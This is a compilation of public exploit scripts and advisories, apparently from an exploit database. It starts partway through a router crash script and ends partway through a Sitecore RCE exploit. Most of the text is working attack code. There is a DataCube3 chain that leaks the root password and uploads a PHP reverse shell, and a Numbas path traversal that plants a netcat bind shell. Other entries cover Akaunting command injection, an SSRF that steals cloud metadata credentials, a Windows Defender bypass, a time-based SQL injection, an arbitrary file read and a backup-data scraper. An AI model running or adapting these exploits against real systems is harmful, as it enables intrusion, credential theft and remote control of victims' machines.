    target_url = f"http://{ip}:8082/userRpm/PingIframeRpm.htm?ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&doType=ping&isNew=new&sendNum=4&pSize=64&overTime=800&trHops=20"

    credentials = f"{username}:{password}"
    encoded_credentials = base64.b64encode(credentials.encode()).decode()

    headers = {
        "Host": f"{ip}:8082",
        "Authorization": f"Basic {encoded_credentials}",
        "Upgrade-Insecure-Requests": "1",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Referer": f"http://{ip}:8082/userRpm/DiagnosticRpm.htm",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9",
        "Connection": "close"
    }

    session = requests.Session()
    
    response = session.get(target_url, headers=headers)

    if response.status_code == 200:
        print("Server Crashed")
        print(response.text)
    else:
        print(f"Script Completed with status code {response.status_code}")

ip_address = input("Enter IP address of the host: ")
username = input("Enter username: ")
password = input("Enter password: ")

send_request(ip_address, username, password)
            
# Exploit Title: DataCube3 v1.0 - Unrestricted file upload 'RCE'
# Date: 7/28/2022
# Exploit Author: Samy Younsi - NS Labs (https://neroteam.com)
# Vendor Homepage: https://www.f-logic.jp
# Software Link: https://www.f-logic.jp/pdf/support/manual_product/manual_product_datacube3_ver1.0_sc.pdf
# Version: Ver1.0
# Tested on: DataCube3 version 1.0 (Ubuntu)
# CVE : CVE-2024-25830 + CVE-2024-25832

# Exploit chain reverse shell, information disclosure (root password leak) + unrestricted file upload

from __future__ import print_function, unicode_literals
from bs4 import BeautifulSoup
import argparse
import requests
import json
import urllib3
import re
urllib3.disable_warnings()

def banner():
  dataCube3Logo = """ 
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        DataCube3   Ver1.0      █F-logic▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒████▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██        ████        ████        ██▓▓▓▓▓▓▓▓
      ▒▒▒▒▒▒▒▒██                                ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        ██             ██       ██▓▓████▓▓
      ▒▒▒▒▒▒▒▒██        █████████████████       ██▓▓▓▓▓▓▓▓
        ▒▒▒▒▒▒████████████████████████████████████▓▓▓▓▓▓                                       
                                                                                 
\033[1;92mSamy Younsi (Necrum Security Labs)\033[1;m         \033[1;91mDataCube3 exploit chain reverse shell\033[1;m                                                 
                FOR EDUCATIONAL PURPOSE ONLY.   
  """
  return print('\033[1;94m{}\033[1;m'.format(dataCube3Logo))


def extractRootPwd(RHOST, RPORT, protocol):
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: DataCube3 web interface is not reachable. Make sure the specified IP is correct.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    scriptTag = str(soup.find_all('script')[12]).replace(' ', '')
    rawLeakedData = re.findall('configData:.*,', scriptTag)[0]
    jsonLeakedData = json.loads('[{}]'.format(rawLeakedData.split('configData:[')[1].split('],')[0]))
    adminPassword = jsonLeakedData[12]['value']
    rootPassword = jsonLeakedData[14]['value']
    print('[INFO] DataCube3 leaked credentials successfully extracted: admin:{} | root:{}.\n[INFO] The target must be vulnerable.'.format(adminPassword, rootPassword))
    return rootPassword
  except:
    print('[ERROR] Can\'t grab the DataCube3 version...')


def generateAuthCookie(RHOST, RPORT, protocol, rootPassword):
  print('[INFO] Generating DataCube3 auth cookie ...')
  url = '{}://{}:{}/admin/config_all.php'.format(protocol, RHOST, RPORT)
  data = {
    'user_id': 'root',
    'user_pw': rootPassword,
    'login': '%E3%83%AD%E3%82%B0%E3%82%A4%E3%83%B3'
  }
  try:
    response = requests.post(url, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the auth cookie, is the root password correct?\033[1;m')
      exit()
    authCookie = response.cookies.get_dict() 
    print('[INFO] Authentication successful! Auth Cookie: {}'.format(authCookie))  
    return authCookie
  except:
    print('[ERROR] Can\'t grab the auth cookie, is the root password correct?')


def extractAccesstime(RHOST, RPORT, LHOST, LPORT, protocol, authCookie):
  print('[INFO] Extracting Accesstime ...')
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.get(url, cookies=authCookie, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
      print('[!] \033[1;91mError: An error occur while trying to get the accesstime value.\033[1;m')
      exit()
    soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser')
    accessTime = soup.find('input', {'name': 'accesstime'}).get('value')
    print('[INFO] AccessTime value: {}'.format(accessTime))
    return accessTime
  except:
    print('[ERROR] Can\'t grab the accesstime value, is the root password correct?')


def injectReverseShell(RHOST, RPORT, LHOST, LPORT, protocol, authCookie, accessTime):
  print('[INFO] Injecting PHP reverse shell script ...')
  filename='rvs.php'
  payload = '<?php $sock=fsockopen("{}",{});$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);?>'.format(LHOST, LPORT)

  data = '-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="add"\r\n\r\nå��ç��追å�\xA0\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="addPhoto"; filename="{}"\r\nContent-Type: image/jpeg\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396\r\nContent-Disposition: form-data; name="accesstime"\r\n\r\n{}\r\n-----------------------------113389720123090127612523184396--\r\n'.format(filename, payload, accessTime)

  headers = {
      'Content-Type': 'multipart/form-data; boundary=---------------------------113389720123090127612523184396'
  }
  url = '{}://{}:{}/admin/setting_photo.php'.format(protocol, RHOST, RPORT)
  try:
    response = requests.post(url, cookies=authCookie, headers=headers, data=data, allow_redirects=False, verify=False, timeout=20)
    if response.status_code != 302:
        print('[!] \033[1;91mError: An error occur while trying to upload the PHP reverse shell script.\033[1;m')
        exit()
    shellURL = '{}://{}:{}/images/slideshow/{}'.format(protocol, RHOST, RPORT, filename)
    print('[INFO] PHP reverse shell script successfully uploaded!\n[INFO] SHELL URL: {}'.format(shellURL))
    return shellURL
  except:
    print('[ERROR] Can\'t upload the PHP reverse shell script, is the root password correct?')


def execReverseShell(shellURL):
  print('[INFO] Executing reverse shell...')
  try:
    response = requests.get(shellURL, allow_redirects=False, verify=False)
    print('[INFO] Reverse shell successfully executed.')
    return
  except Exception as e:
      print('[ERROR] Reverse shell failed. Make sure the DataCube3 device can reach the host {}:{}')
      return False


def main():
  banner()
  args = parser.parse_args()
  protocol = 'https' if args.RPORT == 443 else 'http'
  rootPassword = extractRootPwd(args.RHOST, args.RPORT, protocol)
  authCookie = generateAuthCookie(args.RHOST, args.RPORT, protocol, rootPassword)
  accessTime = extractAccesstime(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie)
  shellURL = injectReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT, protocol, authCookie, accessTime)
  execReverseShell(shellURL)


if __name__ == '__main__':
  parser = argparse.ArgumentParser(description='Script PoC that exploit an unauthenticated remote command injection on f-logic DataCube3 devices.', add_help=False)
  parser.add_argument('--RHOST', help='Refers to the IP of the target machine. (f-logic DataCube3 device)', type=str, required=True)
  parser.add_argument('--RPORT', help='Refers to the open port of the target machine. (443 by default)', type=int, required=True)
  parser.add_argument('--LHOST', help='Refers to the IP of your machine.', type=str, required=True)
  parser.add_argument('--LPORT', help='Refers to the open port of your machine.', type=int, required=True)
  main()
            
# Exploit Title: Numbas < v7.3 - Remote Code Execution
# Google Dork: N/A
# Date: March 7th, 2024
# Exploit Author: Matheus Boschetti
# Vendor Homepage: https://www.numbas.org.uk/
# Software Link: https://github.com/numbas/Numbas
# Version: 7.2 and below
# Tested on: Linux
# CVE: CVE-2024-27612

import sys, requests, re, argparse, subprocess, time
from bs4 import BeautifulSoup

s = requests.session()

def getCSRF(target):
    url = f"http://{target}/"
    req = s.get(url)
    soup = BeautifulSoup(req.text, 'html.parser')
    csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']
    return csrfmiddlewaretoken

def createTheme(target):
    # Format request
    csrfmiddlewaretoken = getCSRF(target)
    theme = 'ExampleTheme'
    boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1'
    data = (
        f'--{boundary}\r\n'
        'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n'
        '\r\n'
        f'{csrfmiddlewaretoken}\r\n'
        f'--{boundary}\r\n'
        'Content-Disposition: form-data; name="name"\r\n'
        '\r\n'
        f'{theme}\r\n'
        f'--{boundary}--\r\n'
    )
    headers = {'Content-Type': f'multipart/form-data; boundary={boundary}',
               'User-Agent': 'Mozilla/5.0',
               'Accept': '*/*',
               'Connection': 'close'}

    # Create theme and return its ID
    req = s.post(f"http://{target}/theme/new/", headers=headers, data=data)
    redir = req.url
    split = redir.split('/')
    id = split[4]
    print(f"\t[i] Theme created with ID {id}")
    return id

def login(target, user, passwd):
    print("\n[i] Attempting to login...")

    csrfmiddlewaretoken = getCSRF(target)
    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
            'username': user,
            'password': passwd,
            'next': '/'}
    
    # Login
    login = s.post(f"http://{target}/login/", data=data, allow_redirects=True)
    res = login.text
    if("Logged in as" not in res):
        print("\n\n[!] Login failed!")
        sys.exit(-1)

    # Check if logged and fetch ID
    usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res)
    if usermatch:
        user = usermatch.group(1)
        idmatch = re.search(r'<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res)
        if idmatch:
            id = idmatch.group(1)
            print(f"\t[+] Logged in as \"{user}\" with ID {id}")

def checkVuln(url):
    print("[i] Checking if target is vulnerable...")

    # Attempt to read files
    themeID = createTheme(url)
    target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.."
    hname = s.get(f"{target}/etc/hostname")
    ver = s.get(f"{target}/etc/issue")
    hnamesoup = BeautifulSoup(hname.text, 'html.parser')
    versoup = BeautifulSoup(ver.text, 'html.parser')
    hostname = hnamesoup.find('textarea').get_text().strip()
    version = versoup.find('textarea').get_text().strip()
    if len(hostname) < 1:
        print("\n\n[!] Something went wrong - target might not be vulnerable.")
        sys.exit(-1)
    print(f"\n[+] Target \"{hostname}\" is vulnerable!")
    print(f"\t[i] Running: \"{version}\"")

    # Cleanup - delete theme
    print(f"\t\t[i] Cleanup: deleting theme {themeID}...")
    target = f"http://{url}/themes/{themeID}/delete"
    csrfmiddlewaretoken = getCSRF(url)
    data = {'csrfmiddlewaretoken':csrfmiddlewaretoken}
    s.post(target, data=data)


def replaceInit(target):
    # Overwrite __init__.py with arbitrary code
    rport = '8443'
    payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])"
    csrfmiddlewaretoken = getCSRF(target)
    filename = '../../../../numbas_editor/numbas/__init__.py'
    themeID = createTheme(target)
    data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
            'source': payload,
            'filename': filename}

    print("[i] Delivering payload...")
    # Retry 5 times in case something goes wrong...
    for attempt in range(5):
        try:
            s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10)
        except Exception as e:
            pass
    
    # Establish connection to bind shell
    time.sleep(2)
    print(f"\t[+] Payload delivered, establishing connection...\n")
    if ":" in target:
        split = target.split(":")
        ip = split[0]
    else:
        ip = str(target)
    subprocess.Popen(["nc", "-n", ip, rport])
    while True:
        pass


def main():
    parser = argparse.ArgumentParser()
    if len(sys.argv) <= 1:
        print("\n[!] No option provided!")
        print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n")
        print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty")
        sys.exit(-1)

    group = parser.add_mutually_exclusive_group(required=True)
    group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit')
    parser.add_argument('--target', help='Target IP:PORT')
    parser.add_argument('--user', help='Username to authenticate')
    parser.add_argument('--passwd', help='Password to authenticate')
    args = parser.parse_args()
    action = args.action
    target = args.target
    user = args.user
    passwd = args.passwd

    print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-")
    
    if action == 'check':
        login(target, user, passwd)
        checkVuln(target)
    elif action == 'exploit':
        login(target, user, passwd)
        replaceInit(target)
    else:
        sys.exit(-1)


if __name__ == "__main__":
    main()
            
HireHackking

Akaunting < 3.1.3 - RCE

# Exploit Title: Akaunting < 3.1.3 - RCE
# Date: 08/02/2024
# Exploit Author: u32i@proton.me
# Vendor Homepage: https://akaunting.com
# Software Link: https://github.com/akaunting/akaunting
# Version: <= 3.1.3
# Tested on: Ubuntu (22.04)
# CVE : CVE-2024-22836

#!/usr/bin/python3

import sys
import re
import requests
import argparse

def get_company():
	# print("[INF] Retrieving company id...")
	res = requests.get(target, headers=headers, cookies=cookies, allow_redirects=False)
	if res.status_code != 302:
		print("[ERR] No company id was found!")
		sys.exit(3)
	cid = res.headers['Location'].split('/')[-1]
	if cid == "login":
		print("[ERR] Invalid session cookie!")
		sys.exit(7)
	return cid

def get_tokens(url):
	res = requests.get(url, headers=headers, cookies=cookies, allow_redirects=False)
	search_res = re.search(r"\"csrfToken\"\:\".*\"", res.text)

	if not search_res:
		print("[ERR] Couldn't get csrf token")
		sys.exit(1)

	data = {}
	data['csrf_token'] = search_res.group().split(':')[-1:][0].replace('"', '')
	data['session'] = res.cookies.get('akaunting_session')
	return data

def inject_command(cmd):
	url = f"{target}/{company_id}/wizard/companies"
	tokens = get_tokens(url)
	headers.update({"X-Csrf-Token": tokens['csrf_token']})
	data = {"_token": tokens['csrf_token'], "_method": "POST", "_prefix": "company", "locale": f"en_US && {cmd}"}
	res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
	if res.status_code == 200:
		res_data = res.json()
		if res_data['error']:
			print("[ERR] Command injection failed!")
			sys.exit(4)
		print("[INF] Command injected!")


def trigger_rce(app, version = "1.0.0"):
	print("[INF] Executing the command...")
	url = f"{target}/{company_id}/apps/install"
	data = {"alias": app, "version": version, "path": f"apps/{app}/download"}
	headers.update({"Content-Type":"application/json"})
	res = requests.post(url, headers=headers, cookies=cookies, json=data, allow_redirects=False)
	if res.status_code == 200:
		res_data = res.json()
		if res_data['error']:
			search_res = re.search(r">Exit Code\:.*<", res_data['message'])
			if search_res:
				print("[ERR] Failed to execute the command")
				sys.exit(6)
			print("[ERR] Failed to install the app! no command was executed!")
			sys.exit(5)
		print("[INF] Executed successfully!")

def login(email, password):
	url = f"{target}/auth/login"
	tokens = get_tokens(url)

	cookies.update({
		'akaunting_session': tokens['session']
	})

	data = {
		"_token": tokens['csrf_token'],
		"_method": "POST",
		"email": email,
		"password": password
	}
	
	req = requests.post(url, headers=headers, cookies=cookies, data=data)
	res = req.json()
	if res['error']:
		print("[ERR] Failed to log in!")
		sys.exit(8)

	print("[INF] Logged in")
	cookies.update({'akaunting_session': req.cookies.get('akaunting_session')})
		
def main():
	inject_command(args.command)
	trigger_rce(args.alias, args.version)

if __name__=='__main__':
	parser = argparse.ArgumentParser()
	parser.add_argument("-u", "--url", help="target url")
	parser.add_argument("--email", help="user login email.")
	parser.add_argument("--password", help="user login password.")
	parser.add_argument("-i", "--id", type=int, help="company id (optional).")
	parser.add_argument("-c", "--command", help="command to execute.")
	parser.add_argument("-a", "--alias", help="app alias, default: paypal-standard", default="paypal-standard")
	parser.add_argument("-av", "--version", help="app version, default: 3.0.2", default="3.0.2")

	args = parser.parse_args()
	
	headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36"}
	cookies = {}
	target = args.url

	try:
		login(args.email, args.password)
		company_id = get_company() if not args.id else args.id
		main()
	except:
		sys.exit(0)
            
# Exploit Title: Ladder v0.0.21 - Server-side request forgery (SSRF)
# Date: 2024-01-20
# Exploit Author: @_chebuya
# Software Link: https://github.com/everywall/ladder
# Version: v0.0.1 - v0.0.21
# Tested on: Ubuntu 20.04.6 LTS on AWS EC2 (ami-0fd63e471b04e22d0)
# CVE: CVE-2024-27620
# Description: Ladder fails to apply sufficient default restrictions on destination addresses, allowing an attacker to make GET requests to addresses that would typically not be accessible from an external context.  An attacker can access private address ranges, locally listening services, and cloud instance metadata APIs

import requests
import json

target_url = "http://127.0.0.1:8080/api/"
imdsv1_url = "http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"

r = requests.get(target_url + imdsv1_url)
response_json = json.loads(r.text)
print(response_json["body"])
            
[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_TROJAN.WIN32.POWESSERE.G_MITIGATION_BYPASS_PART2.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
Windows Defender


[Vulnerability Type]
Windows Defender Detection Mitigation Bypass
TrojanWin32Powessere.G


[CVE Reference]
N/A


[Security Issue]
Trojan.Win32/Powessere.G / Mitigation Bypass Part 2.

Typically, Windows Defender detects and prevents TrojanWin32Powessere.G aka "POWERLIKS" type execution that leverages rundll32.exe. Attempts at execution fail
and attackers will typically get an "Access is denied" error message.

Back in 2022, I disclosed how that could be easily bypassed by passing an extra path traversal when referencing mshtml but since has been mitigated.
However, I discovered using multi-commas "," will bypass that mitigation and successfully execute as of the time of this writing.


[References]
https://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt


[Exploit/POC]
Open command prompt as Administator.

C:\sec>rundll32.exe javascript:"\..\..\mshtml,RunHTMLApplication ";alert(666)
Access is denied.

C:\sec>rundll32.exe javascript:"\..\..\mshtml,,RunHTMLApplication ";alert(666)

Multi-commas, for the Win!


[Network Access]
Local


[Severity]
High


[Disclosure Timeline]
February 7, 2024: Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
#!/usr/bin/python3
#
# Title:            Hitachi NAS (HNAS) System Management Unit (SMU) Backup & Restore IDOR Vulnerability 
# CVE:              CVE-2023-5808
# Date:             2023-12-13
# Exploit Author:   Arslan Masood (@arszilla)
# Vendor:           https://www.hitachivantara.com/
# Version:          < 14.8.7825.01
# Tested On:        13.9.7021.04        

import argparse
from datetime import datetime
from os import getcwd

import requests

parser = argparse.ArgumentParser(
    description="CVE-2023-5808 PoC",
    usage="./CVE-2023-5808.py --host <Hostname/FQDN/IP> --id <JSESSIONID> --sso <JSESSIONIDSSO>"
    )

# Create --host argument:
parser.add_argument(
    "--host",
    required=True,
    type=str,
    help="Hostname/FQDN/IP Address. Provide the port, if necessary, i.e. 127.0.0.1:8443, example.com:8443"
    )

# Create --id argument:
parser.add_argument(
    "--id",
    required=True,
    type=str,
    help="JSESSIONID cookie value"
    )

# Create --sso argument:
parser.add_argument(
    "--sso",
    required=True,
    type=str,
    help="JSESSIONIDSSO cookie value"
    )

args = parser.parse_args()

def download_file(hostname, jsessionid, jsessionidsso):
    # Set the filename:
    filename = f"smu_backup-{datetime.now().strftime('%Y-%m-%d_%H%M')}.zip"

    # Vulnerable SMU URL:
    smu_url = f"https://{hostname}/mgr/app/template/simple%2CBackupSmuScreen.vm/password/"

    # GET request cookies
    smu_cookies = {
        "JSESSIONID":       jsessionid,
        "JSESSIONIDSSO":    jsessionidsso
        }

    # GET request headers:
    smu_headers = {
        "User-Agent":                   "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
        "Accept":                       "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
        "Accept-Language":              "en-US,en;q=0.5",
        "Accept-Encoding":              "gzip, deflate",
        "Dnt":                          "1",
        "Referer":                      f"https://{hostname}/mgr/app/action/admin.SmuBackupRestoreAction/eventsubmit_doperform/ignored",
        "Upgrade-Insecure-Requests":    "1",
        "Sec-Fetch-Dest":               "document",
        "Sec-Fetch-Mode":               "navigate",
        "Sec-Fetch-Site":               "same-origin",
        "Sec-Fetch-User":               "?1",
        "Te":                           "trailers",
        "Connection":                   "close"
        }

    # Send the request:
    with requests.get(smu_url, headers=smu_headers, cookies=smu_cookies, stream=True, verify=False) as file_download:
        with open(filename, 'wb') as backup_archive:
            # Write the zip file to the CWD:
            backup_archive.write(file_download.content)

    print(f"{filename} has been downloaded to {getcwd()}")

if __name__ == "__main__":
    download_file(args.host, args.id, args.sso)
            
# Exploit Title: Wordpress Plugin Hide My WP < 6.2.9 - Unauthenticated SQLi 
# Publication Date: 2023-01-11
# Original Researcher: Xenofon Vassilakopoulos
# Exploit Author: Xenofon Vassilakopoulos
# Submitter: Xenofon Vassilakopoulos
# Vendor Homepage: https://wpwave.com/
# Version: Hide My WP v6.2.8 and prior
# Tested on: Hide My WP v6.2.7
# Impact: Database Access
# CVE: CVE-2022-4681
# CWE: CWE-89
# CVSS Score: 8.6 (high)

## Description

The plugin does not properly sanitize and escape a parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to a SQL injection.


## Proof of Concept

curl -k --location --request GET "http://localhost:10008" --header "X-Forwarded-For: 127.0.0.1'+(select*from(select(sleep(20)))a)+'"
            
# Exploit Title: File Read Arbitrary Exploit for CVE-2023-26360
# Google Dork: [not]
# Date: [12/28/2023]
# Exploit Author: [Youssef Muhammad]
# Vendor Homepage: [
https://helpx.adobe.com/coldfusion/kb/coldfusion-downloads.html]
# Software Link: [
https://drive.google.com/drive/folders/17ryBnFhswxiE1sHrNByxMVPKfUnwqmp0]
# Version: [Adobe ColdFusion versions 2018,15 (and earlier) and 2021,5 and
earlier]
# Tested on: [Windows, Linux]
# CVE : [CVE-2023-26360]

import sys
import requests
import json

BANNER = """
   ██████ ██    ██ ███████       ██████   ██████  ██████  ██████        ██████   ██████  ██████   ██████   ██████  
  ██      ██    ██ ██                 ██ ██  ████      ██      ██            ██ ██            ██ ██       ██  ████ 
  ██      ██    ██ █████   █████  █████  ██ ██ ██  █████   █████  █████  █████  ███████   █████  ███████  ██ ██ ██ 
  ██       ██  ██  ██            ██      ████  ██ ██           ██       ██      ██    ██      ██ ██    ██ ████  ██ 
   ██████   ████   ███████       ███████  ██████  ███████ ██████        ███████  ██████  ██████   ██████   ██████                                                                                                                                                                                                                                       
"""

RED_COLOR = "\033[91m"
GREEN_COLOR = "\032[42m"
RESET_COLOR = "\033[0m"

def print_banner():
    print(RED_COLOR + BANNER + "                  Developed by SecureLayer7" + RESET_COLOR)
    return 0

def run_exploit(host, target_file, endpoint="/CFIDE/wizards/common/utils.cfc", proxy_url=None):
    if not endpoint.endswith('.cfc'):
        endpoint += '.cfc'

    if target_file.endswith('.cfc'):
        raise ValueError('The TARGET_FILE must not point to a .cfc')

    targeted_file = f"a/{target_file}"
    json_variables = json.dumps({"_metadata": {"classname": targeted_file}, "_variables": []})

    vars_get = {'method': 'test', '_cfclient': 'true'}
    uri = f'{host}{endpoint}'

    response = requests.post(uri, params=vars_get, data={'_variables': json_variables}, proxies={'http': proxy_url, 'https': proxy_url} if proxy_url else None)

    file_data = None
    splatter = '<!-- " ---></TD></TD></TD></TH></TH></TH>'

    if response.status_code in [404, 500] and splatter in response.text:
        file_data = response.text.split(splatter, 1)[0]

    if file_data is None:
        raise ValueError('Failed to read the file. Ensure the CFC_ENDPOINT, CFC_METHOD, and CFC_METHOD_PARAMETERS are set correctly, and that the endpoint is accessible.')

    print(file_data)

    # Save the output to a file
    output_file_name = 'output.txt'
    with open(output_file_name, 'w') as output_file:
        output_file.write(file_data)
        print(f"The output saved to {output_file_name}")

if __name__ == "__main__":
    if not 3 <= len(sys.argv) <= 5:
        print("Usage: python3 script.py <host> <target_file> [endpoint] [proxy_url]")
        sys.exit(1)

    print_banner()

    host = sys.argv[1]
    target_file = sys.argv[2]
    endpoint = sys.argv[3] if len(sys.argv) > 3 else "/CFIDE/wizards/common/utils.cfc"
    proxy_url = sys.argv[4] if len(sys.argv) > 4 else None

    try:
        run_exploit(host, target_file, endpoint, proxy_url)
    except Exception as e:
        print(f"Error: {e}")
            
# Exploit Title: WordPress Plugin Duplicator < 1.5.7.1 -
Unauthenticated Sensitive Data Exposure to Account Takeover
# Google Dork: inurl:("plugins/duplicator/")
# Date: 2023-12-04
# Exploit Author: Dmitrii Ignatyev
# Vendor Homepage:
https://duplicator.com/?utm_source=duplicator_free&utm_medium=wp_org&utm_content=desc_details&utm_campaign=duplicator_free
# Software Link: https://wordpress.org/plugins/duplicator/
# Version: 1.5.7.1
# Tested on: Wordpress 6.4
# CVE : CVE-2023-6114# CVE-Link :
https://wpscan.com/vulnerability/5c5d41b9-1463-4a9b-862f-e9ee600ef8e1/

# CVE-Link : https://research.cleantalk.org/cve-2023-6114-duplicator-poc-exploit/A
severe vulnerability has been discovered in the directory
*/wordpress/wp-content/backups-dup-lite/tmp/*. This flaw not only
exposes extensive information about the site, including its
configuration, directories, and files, but more critically, it
provides unauthorized access to sensitive data within the database and
all data inside. Exploiting this vulnerability poses an imminent
threat, leading to potential *brute force attacks on password hashes
and, subsequently, the compromise of the entire system*.*
POC*:

1) It is necessary that either the administrator or auto-backup works
automatically at the scheduled time

2) Exploit will send file search requests every 5 seconds

3) I attack the site with this vulnerability using an exploit

Exploit sends a request to the server every 5 seconds along the path
“*http://your_site/wordpress/wp-content/backups-dup-lite/tmp/
<http://your_site/wordpress/wp-content/backups-dup-lite/tmp/>”* and if
it finds something in the index of, it instantly parses all the data
and displays it on the screen

Exploit (python3):

import requests
from bs4 import BeautifulSoup
import re
import time

url = "http://127.0.0.1/wordpress/wp-content/backups-dup-lite/tmp/"
processed_files = set()

def get_file_names(url):
    response = requests.get(url)

    if response.status_code == 200 and len(response.text) > 0:
        soup = BeautifulSoup(response.text, 'html.parser')
        links = soup.find_all('a')

        file_names = []
        for link in links:
            file_name = link.get('href')
            if file_name != "../" and not file_name.startswith("?"):
                file_names.append(file_name)

        return file_names
    return []

def get_file_content(url, file_name):
    file_url = url + file_name


    if re.search(r'\.zip(?:\.|$)', file_name, re.IGNORECASE):
        print(f"Ignoring file: {file_name}")
        return None

    file_response = requests.get(file_url)

    if file_response.status_code == 200:
        return file_response.text
    return None

while True:
    file_names = get_file_names(url)

    if file_names:
        print("File names on the page:")
        for file_name in file_names:
            if file_name not in processed_files:
                print(file_name)
                file_content = get_file_content(url, file_name)

                if file_content is not None:
                    print("File content:")
                    print(file_content)
                    processed_files.add(file_name)

    time.sleep(5)



-- 
With best regards,
Dmitrii Ignatyev, Penetration Tester
            
#!/usr/bin/env python3
#
# Exploit Title: Sitecore - Remote Code Execution v8.2 
# Exploit Author: abhishek morla
# Google Dork: N/A
# Date: 2024-01-08
# Vendor Homepage: https://www.sitecore.com/
# Software Link: https://dev.sitecore.net/
# Version: 10.3
# Tested on: windows64bit / mozila firefox 
# CVE : CVE-2023-35813
# The vulnerability impacts all Experience Platform topologies (XM, XP, XC) from 9.0 Initial Release to 10.3 Initial Release; 8.2 is also impacted
# Blog : https://medium.com/@abhishekmorla/uncovering-cve-2023-35813-retrieving-core-connection-strings-in-sitecore-5502148fce09
# Video POC : https://youtu.be/vWKl9wgdTB0

import argparse
import requests
from urllib.parse import quote
from rich.console import Console

console = Console()
def initial_test(hostname):
    # Initial payload to test vulnerability
    test_payload = '''
    <%@Register
        TagPrefix = 'x'
        Namespace = 'System.Runtime.Remoting.Services'
        Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
    %>
    <x:RemotingService runat='server'
    Context-Response-ContentType='TestVulnerability'
    />
    '''
    encoded_payload = quote(test_payload)

    url = f"https://{hostname}/sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index"
    headers = {"Content-Type": "application/x-www-form-urlencoded"}
    data = "__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl(\"{}\")".format(encoded_payload)

    response = requests.post(url, headers=headers, data=data, verify=False)

    # Check for the test string in the Content-Type of the response
    return 'TestVulnerability' in response.headers.get('Content-Type', '')

def get_payload(choice):
    # Payload templates for different options
    payloads = {
        '1': "<%$ ConnectionStrings:core %>",
        '2': "<%$ ConnectionStrings:master %>",
        '3': "<%$ ConnectionStrings:web %>"
    }

    base_payload = '''
    <%@Register
        TagPrefix = 'x'
